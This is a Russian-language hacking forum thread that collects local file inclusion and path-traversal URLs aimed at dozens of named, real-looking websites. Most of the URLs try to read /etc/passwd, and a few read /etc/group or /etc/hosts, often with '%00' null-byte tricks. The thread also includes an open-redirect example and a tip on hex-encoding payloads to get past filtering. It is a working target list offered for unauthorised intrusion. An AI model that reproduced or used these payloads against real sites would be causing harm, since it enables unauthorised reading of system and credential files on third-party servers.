PHP Иньекции

LFI
Кто то уже постил инклюд на этом сайте, но в другом месте, на который уже нету ссылок на главной

 

Code:

http://www.media1ads.com/index.php?page=../../../../etc/passwd

Code:

http://www.olarkin.com/main/dev/index.php?page=../../../../../../etc/passwd

 

Ошибки из-за того что уже в kro_full.php уже обьявленно mysql_select_db() и mysql_query().

И опять, ошибка из-за того что уже обьявленна функция.

 

http://dl-stem.kiev.ua/index.php?id=main&page=../index

 

Code:

http://www.tolkynzabirova.kz/press/index.php?file=../../../../../../../../../../../../../etc/passwd

 

http://www.astrocentr.ru/index.php?przd=drjd&id=./index

 

Code:

http://www.expert-line.com/static.php?file=../../../../../../../../etc/passwd

http://www.expert-line.com/static.php?file=../../../../../../../../etc/group

 

http://www.siemens-ha.com.cn/download.php?url=../../../../etc/passwd%00

http://www.blaineywellness.com/index.php?file=../../../../../../../../etc/passwd%00

 

http://www.truthaboutevolution.net/index.php?page=../../../../etc/passwd
==============================
http://www.plagron.fr/index.php?page=../../../../etc/hosts

 

Проявляю активность! =)

 

http://datinginukraine.com/privacy.php?language_id=../../../../../../etc/passwd%00

http://www.simchaonline.com/privacy.php?language_id=../../../../../../etc/passwd%00

 

http://yungdarius.comli.com/page.php?url=http://google.com

 

http://www.cis-promotion.com/index.php?file=../../../../../../../../../etc/passwd

http://qgotchi.sourceforge.net/index.php?page=../../../../../../../../etc/passwd%00

 

http://vsmarts.com/iSupport/index.php?

include_file=../../../../../../../../../../../../../../../../../../../../../etc/passwd

 

данные фильтруються потому и HEX вид.
Можно инклудить, здесь /../../../../../../etc/passwd
переводить, например, через http://www.yellowpipe.com/yis/tools/encrypter/index.php

 

1. Это не PHP, а SQL - инъекция.
2. Это чтение файла через SQL-Инъекцию, а не инклюд.
3. Данные не фильтруются, а слешируются.

 

Code:

http://burg-pension.de/index.php?page=../../../../../../../../../../etc/passwd

Code:

http://www.funnelwebcentral.org/articles.php?action=article&article=../../../../../etc/passwd

Code:

http://www.tonie.net/index.php?p=../../../../../../../etc/passwd

Code:

http://www.colombopage.com/cgi-bin/show_ach.cgi?../../../../../../../../../../../etc/passwd

Code:

http://www.argad.org/cgi-bin/sito.cgi?file=../../../../../../../etc/passwd

 

http://www.moderntalking.pl/arts/index.php?strona=/etc/passwd
Форум есть... ток phpbb аватарки не проинклудить

 

http://www.klm-mra.be/klm-new/engels/main01.php?id=menu_links/../../../../../../../../../../../../../../../../../etc/passwd%00

 

http://www.iusspavia.it/news.php?id=451&menu=../../../etc/passwd